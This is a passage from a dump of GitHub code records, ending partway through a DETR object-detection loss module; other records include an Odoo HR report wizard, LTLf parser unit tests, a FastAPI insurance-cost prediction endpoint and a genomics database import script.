patches.Patch(color='blue', label=\"Relative Distance\")\n\n # Plot the coordinates of the positions\n plot.plot(self.targetPositions[:, 0], self.targetPositions[:, 1], 'r.',\n self.robotPositions[:, 0], self.robotPositions[:, 1], 'g.')\n\n plot.legend(handles=[targetPatch, robotPatch], loc='best')\n plot.savefig(\"Positions_\" + path + \".png\")\n plot.show()\n\n # Create a new set of graphs for the distance error between the robot and target\n plot.plot(self.relativePosAbsolute[:, 0], self.relativePosAbsolute[:, 1], 'b.')\n plot.legend(handles=[relativePatch], loc='best')\n plot.savefig(\"DisErr_\" + path + \".png\")\n plot.show()\n\n # Create the heading graph of robot, target, and relative headings\n times = []\n for index in range(0, self.iterations):\n times.append(index)\n\n targetPatch = patches.Patch(color='red', label=\"Target Heading\")\n robotPatch = patches.Patch(color='green', label=\"Robot Heading\")\n relativePatch = patches.Patch(color='blue', label=\"Relative Heading\")\n\n plot.plot(times, self.targetHeadings[:, 0], 'r.',\n times, self.robotHeadings[:, 0], 'g.',\n times, self.relativeHeadings[:, 0], 'b.')\n plot.legend(handles=[targetPatch, robotPatch, relativePatch], loc='best')\n plot.savefig(\"Headings_\" + path + \".png\")\n plot.show()\n","repo_name":"brittanymcgarr/CPE470FinalProject","sub_path":"PotentialField/Project2/robotData.py","file_name":"robotData.py","file_ext":"py","file_size_in_byte":8896,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"10542775907","text":"# _*_ coding: utf-8 _*_\nimport datetime\nfrom openerp import models, fields, api\n\n\nclass ReportWizard(models.Model):\n _name = \"hr_sf.report_wizard_base\"\n\n @api.multi\n def _get_default_date_from(self):\n dt_now = fields.Date.from_string(fields.Datetime.now())\n return fields.Date.to_string(datetime.date(dt_now.year, dt_now.month, 1))\n\n date_from = fields.Date(default=_get_default_date_from)\n date_to = fields.Date(default=lambda self: fields.date.today())\n\n filter_by = fields.Selection([(\"none\", \"No filter\"),\n (\"department\", \"Department\"),\n (\"employee\", \"Employee\")], default=\"none\")\n employee_ids = fields.Many2many(\"hr.employee\")\n department_ids = fields.Many2many(\"hr.department\")\n\n export_as_xls = fields.Boolean()\n xls_file = fields.Binary()\n xls_file_name = fields.Char()\n\n export_as_xls_generated = fields.Boolean()\n\n state = fields.Selection([('step1', 'step1'), ('step2', 'step2')], default=\"step1\")\n\n @api.multi\n def get_input_values(self):\n self.ensure_one()\n data = dict()\n if all((self.date_from, self.date_to)):\n data[\"date_from\"] = self.date_from\n data[\"date_to\"] = self.date_to\n data[\"filter_by\"] = self.filter_by\n data[\"employee_ids\"] = self.employee_ids.mapped(\"id\")\n data[\"department_ids\"] = self.department_ids.mapped(\"id\")\n return data\n\n @api.multi\n def next_step(self):\n self.ensure_one()\n return {'type': 'ir.actions.act_window',\n 'res_model': self._name,\n 'res_id': self.id,\n 'view_type': 'form',\n 'view_mode': 'form',\n 'target': 'new'}\n","repo_name":"paulskating/odoo-addons","sub_path":"addons/hr_sf/wizards/report_wizard_base.py","file_name":"report_wizard_base.py","file_ext":"py","file_size_in_byte":1753,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"41598110437","text":"import unittest\nimport networkx.classes.digraph\nfrom ltlf2dfa_nx import LTLf2nxParser\n\n\nclass TestLTL2dfaNx(unittest.TestCase):\n\n def setUp(self):\n self.ltlf_parser = LTLf2nxParser()\n\n def test_dot_no_formula(self):\n \"\"\"\n If no formula is set, the result should be None\n \"\"\"\n self.ltlf_parser.formula = None\n result = self.ltlf_parser.to_dot()\n self.assertIsNone(result)\n\n def test_dot(self):\n \"\"\"\n Check if the pass-through to the ltl2dfa library works and a dot_string is returned.\n Formatting is tested in the ltl2dfa library.\n \"\"\"\n test_formula = 'G a'\n self.ltlf_parser.parse_formula(test_formula)\n dot_string = self.ltlf_parser.to_dot()\n # format does not need to be checked, it's not implemented by me (check ltl2dfa)\n self.assertEqual(type(dot_string), str)\n\n def test_mona_no_formula(self):\n \"\"\"\n If no formula is set, the result should be None\n \"\"\"\n self.ltlf_parser.formula = None\n result = self.ltlf_parser.to_mona_output()\n self.assertIsNone(result)\n\n def test_mona(self):\n \"\"\"\n Check if the pass-through to the ltl2dfa library and subsequent MONA calls works and a dot_string is returned.\n Formatting is tested in the ltl2dfa library.\n \"\"\"\n test_formula = 'G a'\n self.ltlf_parser.parse_formula(test_formula)\n result = self.ltlf_parser.to_mona_output()\n # format does not need to be checked, it's not implemented by me (check ltl2dfa)\n self.assertEqual(type(result), str)\n\n def test_nx_no_formula(self):\n \"\"\"\n If no formula is set, the result should be None\n \"\"\"\n self.ltlf_parser.formula = None\n result = self.ltlf_parser.to_nxgraph()\n self.assertIsNone(result)\n\n def test_nx(self):\n \"\"\"\n Check if the transformation to a networkx graph object from an LTLf formula works\n \"\"\"\n test_formula = 'G a'\n self.ltlf_parser.parse_formula(test_formula)\n result = self.ltlf_parser.to_nxgraph()\n self.assertIsInstance(result, networkx.classes.digraph.DiGraph)\n # check if the graph has the correct size\n self.assertEqual(len(result.nodes), 3)\n self.assertEqual(len(result.edges), 5)\n\n # graph metadata check\n self.assertIn('name', result.graph.keys())\n self.assertIn('acc', result.graph.keys())\n self.assertIn('ap', result.graph.keys())\n\n # check if the edges all have the necessary metadata\n for edge in result.edges:\n self.assertIn('label', result.edges[edge].keys())\n self.assertIn('guard', result.edges[edge].keys())\n","repo_name":"KTH-RPL-Planiacs/least-limiting-advisers","sub_path":"test/test_ltl2dfa_nx.py","file_name":"test_ltl2dfa_nx.py","file_ext":"py","file_size_in_byte":2738,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"21964787599","text":"from skimage import io,color\r\nimport matplotlib.pyplot as plt\r\n\r\ndef negative_image(img):\r\n\r\n return 255 - img\r\n\r\nimg = io.imread('./images/negative_image.jpg')\r\n\r\nimg_gray = color.rgb2gray(img)\r\n\r\nnegative_img = negative_image(img_gray)\r\n\r\nplt.figure(1)\r\nplt.subplot(1,2,1)\r\nplt.imshow(img)\r\nplt.title('Original Image')\r\n\r\nplt.subplot(1,2,2)\r\nplt.imshow(negative_img, cmap='gray')\r\nplt.title('Negative Image')\r\n\r\nplt.show()\r\n","repo_name":"troylhy1991/Pythonic-Image-Video-Bioinformatics","sub_path":"samples/No3/001_negative_img.py","file_name":"001_negative_img.py","file_ext":"py","file_size_in_byte":429,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"} +{"seq_id":"7253110413","text":"\n\n\ndef get_model_size_in_mb(model):\n param_size = 0\n for param in model.parameters():\n param_size += param.nelement() * param.element_size()\n buffer_size = 0\n for buffer in model.buffers():\n buffer_size += buffer.nelement() * buffer.element_size()\n\n size = (param_size + buffer_size) / 1024**2\n \n return size\n\n\ndef get_tensor_size_in_mb(tensor_):\n \n tensor_size = tensor_.element_size()*tensor_.nelement()\n \n tensor_size = tensor_size / 1024**2\n \n return tensor_size","repo_name":"khalit7/seq-seq-translation","sub_path":"utils/space_complexity.py","file_name":"space_complexity.py","file_ext":"py","file_size_in_byte":519,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"19703675980","text":"#Python program to search for an element in a linked list using recursion\nclass Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\nclass LinkedList:\n def __init__(self):\n self.head = None\n self.last_node = None\n\n def append(self, data):\n if self.last_node is None:\n self.head = Node(data)\n self.last_node = self.head\n else:\n self.last_node.next = Node(data)\n self.last_node = self.last_node.next\n\n def display(self):\n current = self.head\n while current is not None:\n print(current.data, end=' ')\n current = current.next\n\n def find_index(self, key):\n return self.find_index_helper(key, 0, self.head)\n\n def find_index_helper(self, key, start, node):\n if node is None:\n return -1\n\n if node.data == key:\n return start\n else:\n return self.find_index_helper(key, start + 1, node.next)\n\n\na_llist = LinkedList()\nfor data in [3, 5, 0, 10, 7]:\n a_llist.append(data)\nprint('The linked list: ', end='')\na_llist.display()\nprint()\n\nkey = int(input('What data item would you like to search for? '))\nindex = a_llist.find_index(key)\nif index == -1:\n print(str(key) + ' was not found.')\nelse:\n print(str(key) + ' is at index ' + str(index) + '.')","repo_name":"fnplus/Algorithms-Hacktoberfest","sub_path":"linkedlist/python/LinkedList.py","file_name":"LinkedList.py","file_ext":"py","file_size_in_byte":1358,"program_lang":"python","lang":"en","doc_type":"code","stars":29,"dataset":"github-code","pt":"60"} +{"seq_id":"11348256215","text":"from fastapi import FastAPI\nfrom fastapi.middleware.cors import CORSMiddleware\nfrom joblib import load\nimport pandas as pd\n\napp = FastAPI()\n\napp.add_middleware(\n CORSMiddleware,\n allow_origins=[\"*\"], # Allows all origins\n allow_credentials=True,\n allow_methods=[\"*\"], # Allows all methods\n allow_headers=[\"*\"], # Allows all headers\n)\n\n@app.get(\"/\")\ndef index():\n return {\"greeting\":\"medical_insurance\"}\n\n@app.get(\"/evaluation\")\ndef predict(age,bmi,children,sex_category,smoker_category,region_northeast,region_northwest,region_southeast,region_southwest):\n\n predict_dict={\"age\":[int(age)],\n \"bmi\":[int(bmi)],\n \"children\":[int(children)],\n \"sex_category\":[int(sex_category)],\n \"smoker_category\":[int(smoker_category)],\n \"region_northeast\":[int(region_northeast)],\n \"region_northwest\":[int(region_northwest)],\n \"region_southeast\":[int(region_southeast)],\n \"region_southwest\":[int(region_southwest)]}\n\n X_pred=pd.DataFrame(predict_dict)\n\n model=load(\"model.joblib\")\n\n prediction = model.predict(X_pred)\n print(round(prediction[0],2))\n prediction_round = round(prediction[0],2)\n return {\"Annual Medical Expenditure\":prediction_round}\n\n# predict(60,29,5,1,0,0,0,0,1)\n# ?age=60&bmi=29&children=5&sex_category=1&smoker_category=0®ion_northeast=0®ion_northwest=0®ion_southeast=1®ion_southwest=0\n","repo_name":"Elizabeth-kok/medical_insurance","sub_path":"api/fast.py","file_name":"fast.py","file_ext":"py","file_size_in_byte":1477,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"38895158087","text":"from __future__ import print_function\nimport os\nimport sys\nimport json\nimport psycopg2\nimport re\nimport argparse\nimport gzip\nimport StringIO\n\nsys.path.append(os.path.join(os.path.dirname(os.path.realpath(__file__)),\n \"../../metadata/utils\"))\nfrom utils import AddPath, Utils, Timer, printt\nfrom db_utils import getcursor, vacumnAnalyze, makeIndex, makeIndexIntRange\nfrom files_and_paths import Dirs, Tools, Genome, Datasets\nfrom exp import Exp\n\nAddPath(__file__, '../common/')\nfrom dbconnect import db_connect, db_connect_single\nfrom constants import chroms, paths, DB_COLS\nfrom config import Config\n\n\nclass ImportCreGroups:\n def __init__(self, curs, assembly):\n self.curs = curs\n self.assembly = assembly\n self.tableName = assembly + \"_cre_groups\"\n self.tableNameCts = self.tableName + \"_cts\"\n self.fnp = paths.path(assembly, assembly + \".cts.matrix.txt.gz\")\n\n def run(self):\n self._setupTable()\n self._doImport()\n self._doIndex()\n self._doUpdate()\n\n def _setupTable(self):\n printt(\"drop and create\", self.tableName)\n self.curs.execute(\"\"\"\n DROP TABLE IF EXISTS {tn};\n CREATE TABLE {tn}\n (id serial PRIMARY KEY,\n accession text,\n creGroupsSpecific VARCHAR[]\n );\"\"\".format(tn=self.tableName))\n\n def runCts(self):\n printt(\"drop and create\", self.tableNameCts)\n self.curs.execute(\"\"\"\n DROP TABLE IF EXISTS {tn};\n CREATE TABLE {tn}\n (id serial PRIMARY KEY,\ncellTypeName text,\npgidx integer\n );\"\"\".format(tn=self.tableNameCts))\n\n printt(\"reading\", self.fnp)\n with gzip.open(self.fnp) as f:\n header = f.readline().rstrip('\\n').replace('\\t\\t', '\\t').split()\n printt(\"rewrite rows\")\n outF = StringIO.StringIO()\n counter = 1\n for h in header[1:]:\n outF.write('\\t'.join([h, str(counter)]) + '\\n')\n counter += 1\n outF.seek(0)\n cols = [\"cellTypeName\", \"pgidx\"]\n self.curs.copy_from(outF, self.tableNameCts, '\\t', columns=cols)\n printt(\"inserted\", \"{:,}\".format(self.curs.rowcount), self.tableNameCts)\n\n def _doImport(self):\n printt(\"reading\", self.fnp)\n with gzip.open(self.fnp) as f:\n header = f.readline().rstrip('\\n').replace('\\t\\t', '\\t').split()\n rows = [line.rstrip('\\n').replace('\\t\\t', '\\t').split() for line in f]\n printt(\"header:\", header)\n printt(\"rows\", \"{:,}\".format(len(rows)))\n\n self.cts = header[1:]\n\n printt(\"rewrite rows\")\n outF = StringIO.StringIO()\n for r in rows:\n outF.write('\\t'.join([r[0], \"{\" + \",\".join(r[1:]) + \"}\"]) + '\\n')\n outF.seek(0)\n cols = [\"accession\", \"creGroupsSpecific\"]\n self.curs.copy_from(outF, self.tableName, '\\t', columns=cols)\n printt(\"inserted\", \"{:,}\".format(self.curs.rowcount))\n\n def _doUpdate(self):\n printt(\"adding col...\")\n self.curs.execute(\"\"\"\n ALTER TABLE {tncres}\n DROP COLUMN IF EXISTS creGroupsSpecific;\n\n ALTER TABLE {tncres}\n ADD COLUMN creGroupsSpecific VARCHAR[];\n\n UPDATE {tncres} as cres\n SET creGroupsSpecific = cg.creGroupsSpecific\n FROM {tn} as cg\n where cg.accession = cres.accession\n \"\"\".format(tn=self.tableName, tncres=self.assembly + \"_cre_all\"))\n if 0 == self.curs.rowcount:\n raise Exception(\"error: no cRE rows updated\")\n printt(\"updated\", \"{:,}\".format(self.curs.rowcount))\n\n def _doIndex(self):\n makeIndex(self.curs, self.tableName, [\"accession\"])\n\n\ndef run(args, DBCONN):\n assemblies = Config.assemblies\n if args.assembly:\n assemblies = [args.assembly]\n\n for assembly in assemblies:\n print('***********', assembly)\n with getcursor(DBCONN, \"dropTables\") as curs:\n icg = ImportCreGroups(curs, assembly)\n icg.run()\n icg.runCts()\n with db_connect_single(os.path.realpath(__file__)) as conn:\n vacumnAnalyze(conn, assembly + \"_cre_all\", [])\n\n\ndef parse_args():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--assembly\", type=str, default=\"\")\n args = parser.parse_args()\n return args\n\n\ndef main():\n args = parse_args()\n\n DBCONN = db_connect(os.path.realpath(__file__))\n\n return run(args, DBCONN)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"weng-lab/SCREEN","sub_path":"2_import/22_cre_groups.py","file_name":"22_cre_groups.py","file_ext":"py","file_size_in_byte":4444,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"60"} +{"seq_id":"22461649421","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nfrom easycv.models.detection.utils import (accuracy, box_cxcywh_to_xyxy,\n box_iou, generalized_box_iou)\nfrom easycv.models.loss.focal_loss import py_sigmoid_focal_loss\nfrom easycv.utils.dist_utils import get_dist_info, is_dist_available\n\n\nclass SetCriterion(nn.Module):\n \"\"\" This class computes the loss for Conditional DETR.\n The process happens in two steps:\n 1) we compute hungarian assignment between ground truth boxes and the outputs of the model\n 2) we supervise each pair of matched ground-truth / prediction (supervise class and box)\n \"\"\"\n\n def __init__(self,\n num_classes,\n matcher,\n weight_dict,\n losses,\n eos_coef=None,\n loss_class_type='ce'):\n \"\"\" Create the criterion.\n Parameters:\n num_classes: number of object categories, omitting the special no-object category\n matcher: module able to compute a matching between targets and proposals\n weight_dict: dict containing as key the names of the losses and as values their relative weight.\n losses: list of all the losses to be applied. See get_loss for list of available losses.\n \"\"\"\n super().__init__()\n self.num_classes = num_classes\n self.matcher = matcher\n self.weight_dict = weight_dict\n self.losses = losses\n self.loss_class_type = loss_class_type\n if self.loss_class_type == 'ce':\n empty_weight = torch.ones(self.num_classes + 1)\n empty_weight[-1] = eos_coef\n self.register_buffer('empty_weight', empty_weight)\n\n def loss_labels(self, outputs, targets, indices, num_boxes, log=True):\n \"\"\"Classification loss (Binary focal loss)\n targets dicts must contain the key \"labels\" containing a tensor of dim [nb_target_boxes]\n \"\"\"\n assert 'pred_logits' in outputs\n src_logits = outputs['pred_logits']\n\n idx = self._get_src_permutation_idx(indices)\n target_classes_o = torch.cat(\n [t['labels'][J] for t, (_, J) in zip(targets, indices)])\n target_classes = torch.full(\n src_logits.shape[:2],\n self.num_classes,\n dtype=torch.int64,\n device=src_logits.device)\n target_classes[idx] = target_classes_o\n\n if self.loss_class_type == 'ce':\n loss_ce = F.cross_entropy(\n src_logits.transpose(1, 2), target_classes, self.empty_weight)\n elif self.loss_class_type == 'focal_loss':\n target_classes_onehot = torch.zeros([\n src_logits.shape[0], src_logits.shape[1],\n src_logits.shape[2] + 1\n ],\n dtype=src_logits.dtype,\n layout=src_logits.layout,\n device=src_logits.device)\n target_classes_onehot.scatter_(2, target_classes.unsqueeze(-1), 1)\n target_classes_onehot = target_classes_onehot[:, :, :-1]\n\n loss_ce = py_sigmoid_focal_loss(\n src_logits,\n target_classes_onehot,\n alpha=0.25,\n gamma=2,\n reduction='none').mean(1).sum() / num_boxes\n loss_ce = loss_ce * src_logits.shape[1]\n losses = {'loss_ce': loss_ce}\n\n if log:\n # TODO this should probably be a separate loss, not hacked in this one here\n losses['class_error'] = 100 - accuracy(src_logits[idx],\n target_classes_o)[0]\n return losses\n\n @torch.no_grad()\n def loss_cardinality(self, outputs, targets, indices, num_boxes):\n \"\"\" Compute the cardinality error, ie the absolute error in the number of predicted non-empty boxes\n This is not really a loss, it is intended for logging purposes only. It doesn't propagate gradients\n \"\"\"\n pred_logits = outputs['pred_logits']\n device = pred_logits.device\n tgt_lengths = torch.as_tensor([len(v['labels']) for v in targets],\n device=device)\n # Count the number of predictions that are NOT \"no-object\" (which is the last class)\n card_pred = (pred_logits.argmax(-1) !=\n pred_logits.shape[-1] - 1).sum(1)\n card_err = F.l1_loss(card_pred.float(), tgt_lengths.float())\n losses = {'cardinality_error': card_err}\n return losses\n\n def loss_boxes(self, outputs, targets, indices, num_boxes):\n \"\"\"Compute the losses related to the bounding boxes, the L1 regression loss and the GIoU loss\n targets dicts must contain the key \"boxes\" containing a tensor of dim [nb_target_boxes, 4]\n The target boxes are expected in format (center_x, center_y, w, h), normalized by the image size.\n \"\"\"\n assert 'pred_boxes' in outputs\n idx = self._get_src_permutation_idx(indices)\n src_boxes = outputs['pred_boxes'][idx]\n target_boxes = torch.cat(\n [t['boxes'][i] for t, (_, i) in zip(targets, indices)], dim=0)\n\n loss_bbox = F.l1_loss(src_boxes, target_boxes, reduction='none')\n\n losses = {}\n losses['loss_bbox'] = loss_bbox.sum() / num_boxes\n\n loss_giou = 1 - torch.diag(\n generalized_box_iou(\n box_cxcywh_to_xyxy(src_boxes),\n box_cxcywh_to_xyxy(target_boxes)))\n losses['loss_giou'] = loss_giou.sum() / num_boxes\n\n return losses\n\n def loss_centerness(self, outputs, targets, indices, num_boxes):\n\n def ref2ltrb(ref, xyxy):\n lt = ref - xyxy[..., :2]\n rb = xyxy[..., 2:] - ref\n ltrb = torch.cat([lt, rb], dim=-1)\n return ltrb\n\n def compute_centerness_targets(box_targets):\n left_right = box_targets[:, [0, 2]]\n top_bottom = box_targets[:, [1, 3]]\n centerness = (left_right.min(-1)[0] / left_right.max(-1)[0]) * (\n top_bottom.min(-1)[0] / top_bottom.max(-1)[0])\n return torch.sqrt(centerness)\n\n assert 'pred_centers' in outputs\n idx = self._get_src_permutation_idx(indices)\n src_centers = outputs['pred_centers'][idx] # logits\n src_centers = src_centers.squeeze(1)\n target_boxes = torch.cat(\n [t['boxes'][i] for t, (_, i) in zip(targets, indices)], dim=0)\n\n assert 'refpts' in outputs\n src_refpts = outputs['refpts'][idx] # sigmoided\n assert src_refpts.shape[-1] == 2\n\n target_boxes_xyxy = box_cxcywh_to_xyxy(target_boxes)\n target_boxes_ltrb = ref2ltrb(src_refpts, target_boxes_xyxy)\n is_in_box = torch.sum(target_boxes_ltrb >= 0, dim=-1) == 4\n\n src_centers = src_centers[is_in_box]\n target_boxes_ltrb = target_boxes_ltrb[is_in_box]\n\n target_boxes_ltrb = target_boxes_ltrb.detach()\n\n losses = {}\n if len(target_boxes_ltrb) == 0:\n losses['loss_center'] = src_centers.sum(\n ) * 0 # prevent unused parameters\n else:\n target_centers = compute_centerness_targets(target_boxes_ltrb)\n loss_center = F.binary_cross_entropy_with_logits(\n src_centers, target_centers, reduction='none')\n losses['loss_center'] = loss_center.sum() / num_boxes\n\n return losses\n\n def loss_iouaware(self, outputs, targets, indices, num_boxes):\n assert 'pred_ious' in outputs\n idx = self._get_src_permutation_idx(indices)\n src_ious = outputs['pred_ious'][idx] # logits\n src_ious = src_ious.squeeze(1)\n src_boxes = outputs['pred_boxes'][idx]\n target_boxes = torch.cat(\n [t['boxes'][i] for t, (_, i) in zip(targets, indices)], dim=0)\n\n iou = torch.diag(\n box_iou(\n box_cxcywh_to_xyxy(src_boxes),\n box_cxcywh_to_xyxy(target_boxes))[0])\n\n losses = {}\n loss_iouaware = F.binary_cross_entropy_with_logits(\n src_ious, iou, reduction='none')\n losses['loss_iouaware'] = loss_iouaware.sum() / num_boxes\n return losses\n\n def _get_src_permutation_idx(self, indices):\n # permute predictions following indices\n batch_idx = torch.cat(\n [torch.full_like(src, i) for i, (src, _) in enumerate(indices)])\n src_idx = torch.cat([src for (src, _) in indices])\n return batch_idx, src_idx\n\n def _get_tgt_permutation_idx(self, indices):\n # permute targets following indices\n batch_idx = torch.cat(\n [torch.full_like(tgt, i) for i, (_, tgt) in enumerate(indices)])\n tgt_idx = torch.cat([tgt for (_, tgt) in indices])\n return batch_idx, tgt_idx\n\n def get_loss(self, loss, outputs, targets, indices, num_boxes, **kwargs):\n loss_map = {\n 'labels': self.loss_labels,\n 'cardinality': self.loss_cardinality,\n 'boxes': self.loss_boxes,\n 'centerness': self.loss_centerness,\n 'iouaware': self.loss_iouaware,\n }\n assert loss in loss_map, f'do you really want to compute {loss} loss?'\n return loss_map[loss](outputs, targets, indices, num_boxes, **kwargs)\n\n def forward(self, outputs, targets, num_boxes=None, return_indices=False):\n \"\"\" This performs the loss computation.\n Parameters:\n outputs: dict of tensors, see the output specification of the model for the format\n targets: list of dicts, such that len(targets) == batch_size.\n The expected keys in each dict depends on the losses applied, see each loss' doc\n return_indices: used for vis. if True, the layer0-5 indices will be returned as well.\n \"\"\"\n\n outputs_without_aux = {\n k: v\n for k, v in outputs.items() if k != 'aux_outputs'\n }\n\n # Retrieve the matching between the outputs of the last layer and the targets\n indices = self.matcher(outputs_without_aux, targets)\n if return_indices:\n indices0_copy = indices\n indices_list = []\n\n if num_boxes is None:\n # Compute the average number of target boxes accross all nodes, for normalization purposes\n num_boxes = sum(len(t['labels']) for t in targets)\n num_boxes = torch.as_tensor([num_boxes],\n dtype=torch.float,\n device=next(iter(\n outputs.values())).device)\n if is_dist_available():\n torch.distributed.all_reduce(num_boxes)\n _, world_size = get_dist_info()\n num_boxes = torch.clamp(num_boxes / world_size, min=1).item()\n\n # Compute all the requested losses\n losses = {}\n for loss in self.losses:\n l_dict = self.get_loss(loss, outputs, targets, indices, num_boxes)\n l_dict = {\n k: v * (self.weight_dict[k] if k in self.weight_dict else 1.0)\n for k, v in l_dict.items()\n }\n losses.update(l_dict)\n\n # In case of auxiliary losses, we repeat this process with the output of each intermediate layer.\n if 'aux_outputs' in outputs:\n for i, aux_outputs in enumerate(outputs['aux_outputs']):\n indices = self.matcher(aux_outputs, targets)\n if return_indices:\n indices_list.append(indices)\n for loss in self.losses:\n kwargs = {}\n if loss == 'labels':\n # Logging is enabled only for the last layer\n kwargs = {'log': False}\n l_dict = self.get_loss(loss, aux_outputs, targets, indices,\n num_boxes, **kwargs)\n l_dict = {\n k + f'_{i}': v *\n (self.weight_dict[k] if k in self.weight_dict else 1.0)\n for k, v in l_dict.items()\n }\n losses.update(l_dict)\n\n # interm_outputs loss\n if 'interm_outputs' in outputs:\n interm_outputs = outputs['interm_outputs']\n indices = self.matcher(interm_outputs, targets)\n if return_indices:\n indices_list.append(indices)\n for loss in self.losses:\n kwargs = {}\n if loss == 'labels':\n # Logging is enabled only for the last layer\n kwargs = {'log': False}\n l_dict = self.get_loss(loss, interm_outputs, targets, indices,\n num_boxes, **kwargs)\n l_dict = {\n k + '_interm':\n v * (self.weight_dict[k] if k in self.weight_dict else 1.0)\n for k, v in l_dict.items()\n }\n losses.update(l_dict)\n\n if return_indices:\n indices_list.append(indices0_copy)\n return losses, indices_list\n\n return losses\n\n\nclass CDNCriterion(SetCriterion):\n \"\"\" This class computes the loss for Conditional DETR.\n The process happens in two steps:\n 1) we compute hungarian assignment between ground truth boxes and the outputs of the model\n 2) we supervise each pair of matched ground-truth / prediction (supervise class and box)\n \"\"\"\n\n def __init__(self,\n num_classes,\n matcher,\n weight_dict,\n losses,\n eos_coef=None,\n loss_class_type='ce'):\n super().__init__(\n num_classes=num_classes,\n matcher=matcher,\n weight_dict=weight_dict,\n losses=losses,\n eos_coef=eos_coef,\n loss_class_type=loss_class_type)\n\n def prep_for_dn(self, dn_meta):\n output_known_lbs_bboxes = dn_meta['output_known_lbs_bboxes']\n num_dn_groups, pad_size = dn_meta['num_dn_group'], dn_meta['pad_size']\n assert pad_size % num_dn_groups == 0\n single_pad = pad_size // num_dn_groups\n\n return output_known_lbs_bboxes, single_pad, num_dn_groups\n\n def forward(self, outputs, targets, aux_num, num_boxes):\n # Compute the average number of target boxes accross all nodes, for normalization purposes\n\n dn_meta = outputs['dn_meta']\n losses = {}\n if self.training and dn_meta and 'output_known_lbs_bboxes' in dn_meta:\n output_known_lbs_bboxes, single_pad, scalar = self.prep_for_dn(\n dn_meta)\n\n dn_pos_idx = []\n dn_neg_idx = []\n for i in range(len(targets)):\n if len(targets[i]['labels']) > 0:\n t = torch.range(0,\n len(targets[i]['labels']) -\n 1).long().cuda()\n t = t.unsqueeze(0).repeat(scalar, 1)\n tgt_idx = t.flatten()\n output_idx = (torch.tensor(range(scalar)) *\n single_pad).long().cuda().unsqueeze(1) + t\n output_idx = output_idx.flatten()\n else:\n output_idx = tgt_idx = torch.tensor([]).long().cuda()\n\n dn_pos_idx.append((output_idx, tgt_idx))\n dn_neg_idx.append((output_idx + single_pad // 2, tgt_idx))\n\n output_known_lbs_bboxes = dn_meta['output_known_lbs_bboxes']\n l_dict = {}\n for loss in self.losses:\n kwargs = {}\n if 'labels' in loss:\n kwargs = {'log': False}\n l_dict.update(\n self.get_loss(loss, output_known_lbs_bboxes, targets,\n dn_pos_idx, num_boxes * scalar, **kwargs))\n\n l_dict = {\n k + '_dn':\n v * (self.weight_dict[k] if k in self.weight_dict else 1.0)\n for k, v in l_dict.items()\n }\n losses.update(l_dict)\n else:\n l_dict = dict()\n if 'labels' in self.losses:\n l_dict['loss_ce_dn'] = torch.as_tensor(0.).to('cuda')\n if 'boxes' in self.losses:\n l_dict['loss_bbox_dn'] = torch.as_tensor(0.).to('cuda')\n l_dict['loss_giou_dn'] = torch.as_tensor(0.).to('cuda')\n if 'centerness' in self.losses:\n l_dict['loss_center_dn'] = torch.as_tensor(0.).to('cuda')\n if 'iouaware' in self.losses:\n l_dict['loss_iouaware_dn'] = torch.as_tensor(0.).to('cuda')\n losses.update(l_dict)\n\n for i in range(aux_num):\n if self.training and dn_meta and 'output_known_lbs_bboxes' in dn_meta:\n aux_outputs_known = output_known_lbs_bboxes['aux_outputs'][i]\n l_dict = {}\n for loss in self.losses:\n kwargs = {}\n if 'labels' in loss:\n kwargs = {'log': False}\n\n l_dict.update(\n self.get_loss(loss, aux_outputs_known, targets,\n dn_pos_idx, num_boxes * scalar,\n **kwargs))\n\n l_dict = {\n k + f'_dn_{i}':\n v * (self.weight_dict[k] if k in self.weight_dict else 1.0)\n for k, v in l_dict.items()\n }\n losses.update(l_dict)\n else:\n l_dict = dict()\n if 'labels' in self.losses:\n l_dict['loss_ce_dn'] = torch.as_tensor(0.).to('cuda')\n if 'boxes' in self.losses:\n l_dict['loss_bbox_dn'] = torch.as_tensor(0.).to('cuda')\n l_dict['loss_giou_dn'] = torch.as_tensor(0.).to('cuda')\n if 'centerness' in self.losses:\n l_dict['loss_center_dn'] = torch.as_tensor(0.).to('cuda')\n if 'iouaware' in self.losses:\n l_dict['loss_iouaware_dn'] = torch.as_tensor(0.).to('cuda')\n l_dict = {\n k + f'_{i}':\n v * (self.weight_dict[k] if k in self.weight_dict else 1.0)\n for k, v in l_dict.items()\n }\n losses.update(l_dict)\n return losses\n\n\nclass DNCriterion(nn.Module):\n \"\"\" This class computes the loss for Conditional DETR.\n The process happens in two steps:\n 1) we compute hungarian assignment between ground truth boxes and the outputs of the model\n 2) we supervise each pair of matched ground-truth / prediction (supervise class and box)\n \"\"\"\n\n def __init__(self, weight_dict):\n \"\"\" Create the criterion.\n Parameters:\n num_classes: number of object categories, omitting the special no-object category\n matcher: module able to compute a matching between targets and proposals\n weight_dict: dict containing as key the names of the losses and as values their relative weight.\n losses: list of all the losses to be applied. See get_loss for list of available losses.\n \"\"\"\n super().__init__()\n self.weight_dict = weight_dict\n\n def prepare_for_loss(self, mask_dict):\n \"\"\"\n prepare dn components to calculate loss\n Args:\n mask_dict: a dict that contains dn information\n \"\"\"\n output_known_class, output_known_coord = mask_dict[\n 'output_known_lbs_bboxes']\n known_labels, known_bboxs = mask_dict['known_lbs_bboxes']\n map_known_indice = mask_dict['map_known_indice']\n\n known_indice = mask_dict['known_indice']\n\n batch_idx = mask_dict['batch_idx']\n bid = batch_idx[known_indice]\n if len(output_known_class) > 0:\n output_known_class = output_known_class.permute(\n 1, 2, 0, 3)[(bid, map_known_indice)].permute(1, 0, 2)\n output_known_coord = output_known_coord.permute(\n 1, 2, 0, 3)[(bid, map_known_indice)].permute(1, 0, 2)\n num_tgt = known_indice.numel()\n return known_labels, known_bboxs, output_known_class, output_known_coord, num_tgt\n\n def 